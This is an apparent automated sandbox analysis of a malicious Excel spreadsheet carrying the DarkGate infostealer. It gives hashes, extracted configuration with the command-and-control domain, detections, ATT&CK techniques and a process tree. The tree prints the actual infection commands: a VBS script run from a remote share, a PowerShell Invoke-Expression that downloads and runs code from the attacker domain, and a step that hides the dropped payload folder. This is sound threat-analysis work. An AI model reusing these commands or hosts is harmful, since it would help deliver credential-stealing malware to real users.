darkgate | efb106418264f96ba251321a5c3ed8a191e3b8123f647d4ccf8c08d5447d03f6

Analysis

max time kernel
151s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
20/03/2024, 11:41

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General

Target

march19-D1482-2024.xlsx
Size

56KB
MD5

58bd1ea09bb663ead5492e2a43b6fb77
SHA1

0a3d7f905e00973c05d51b60036838acab9d723b
SHA256

efb106418264f96ba251321a5c3ed8a191e3b8123f647d4ccf8c08d5447d03f6
SHA512

b82605a87c50e1d7d662e98ba2aeac1e540affddaec8628c8c491b194469a834d8bffd876a78ea6719e92f59e0e219f4f681a739e15ce381e63d9534ca43570a
SSDEEP

1536:Fkws9oLE3Ow6DyPgMUti9xx7bxNfI5ydaRLgIui3pqDyBROnlTP:FSoEOfEgMNdxI5yYhgu5zBRYr

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

badbutperfect.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
WZqqpfdY
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/4644-75-0x0000000004C50000-0x0000000004CC3000-memory.dmp	family_darkgate_v6
behavioral2/memory/4644-77-0x0000000004C50000-0x0000000004CC3000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5104	3552	WScript.exe	93

Blocklisted process makes network request 4 IoCs

flow	pid	Process
47	4492	powershell.exe
55	4492	powershell.exe
63	4492	powershell.exe
65	4492	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4644	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3552	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4492	powershell.exe
4492	powershell.exe
4492	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4492	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3552	EXCEL.EXE
3552	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3552 wrote to memory of 5104	3552	EXCEL.EXE	102
PID 3552 wrote to memory of 5104	3552	EXCEL.EXE	102
PID 5104 wrote to memory of 4492	5104	WScript.exe	104
PID 5104 wrote to memory of 4492	5104	WScript.exe	104
PID 4492 wrote to memory of 4644	4492	powershell.exe	111
PID 4492 wrote to memory of 4644	4492	powershell.exe	111
PID 4492 wrote to memory of 4644	4492	powershell.exe	111
PID 4492 wrote to memory of 952	4492	powershell.exe	112
PID 4492 wrote to memory of 952	4492	powershell.exe	112

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
952	attrib.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\march19-D1482-2024.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3552
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4492
  - - C:\rimz\AutoHotkey.exe
      "C:\rimz\AutoHotkey.exe" script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:4644
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/rimz
      4⤵
      Views/modifies file attributes
      PID:952

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4148 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8
1⤵
PID:208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iayzo10j.5ei.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\rimz\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\rimz\script.ahk

Filesize
54KB

MD5
f02f0bba1f1f678da41abafd02f4c545

SHA1
c40b80bc4947d4ac52bc9c17d6d218b1fa9cd452

SHA256
5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572

SHA512
8b56e388781a9fb855d8352f2cf175a7e0c5bb36bacd79be719ffa0c9f4c9f6e852bd460b6e9b0b7ea47ff38aa803e43a2366bf7a2686905c05bdd9e231b5b22

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C:\rimz\test.txt

Filesize
915KB

MD5
4e1b052f107d2ee5321b44fc0e107638

SHA1
679e1f8006a2d6ed61f0dbaf5e9d3cd252421cd4

SHA256
a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489

SHA512
5c4d1907ef2cbc894e8e33d268160a88e9db2d1a081676cba9d8fcfda4c120458a2ed90d44b2963accc842b03fac9bf231145d5991899bf6ab4871d9b65c2cb1

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memory/3552-21-0x00007FFAC1010000-0x00007FFAC1020000-memory.dmp

Filesize
64KB

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memory/3552-23-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-7-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-6-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

Filesize
64KB

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memory/3552-8-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-36-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-10-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-12-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-11-0x00007FFAC1010000-0x00007FFAC1020000-memory.dmp

Filesize
64KB

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memory/3552-13-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-14-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-15-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-16-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-17-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-18-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-19-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-0-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

Filesize
64KB

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memory/3552-20-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-5-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-22-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-9-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/3552-1-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

Filesize
64KB

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memory/3552-3-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

Filesize
64KB

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memory/3552-2-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

Filesize
64KB

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memory/3552-4-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

Filesize
2.0MB

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memory/4492-49-0x00000209F5B30000-0x00000209F5B40000-memory.dmp

Filesize
64KB

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memory/4492-50-0x00000209F6200000-0x00000209F63C2000-memory.dmp

Filesize
1.8MB

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memory/4492-53-0x00007FFADB810000-0x00007FFADC2D1000-memory.dmp

Filesize
10.8MB

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memory/4492-54-0x00000209F5B30000-0x00000209F5B40000-memory.dmp

Filesize
64KB

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memory/4492-55-0x00000209F5B30000-0x00000209F5B40000-memory.dmp

Filesize
64KB

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memory/4492-56-0x00000209F5B30000-0x00000209F5B40000-memory.dmp

Filesize
64KB

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memory/4492-48-0x00000209F5B30000-0x00000209F5B40000-memory.dmp

Filesize
64KB

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memory/4492-70-0x00007FFADB810000-0x00007FFADC2D1000-memory.dmp

Filesize
10.8MB

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memory/4492-47-0x00007FFADB810000-0x00007FFADC2D1000-memory.dmp

Filesize
10.8MB

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memory/4492-37-0x00000209DD930000-0x00000209DD952000-memory.dmp

Filesize
136KB

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memory/4644-75-0x0000000004C50000-0x0000000004CC3000-memory.dmp

Filesize
460KB

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memory/4644-77-0x0000000004C50000-0x0000000004CC3000-memory.dmp

Filesize
460KB

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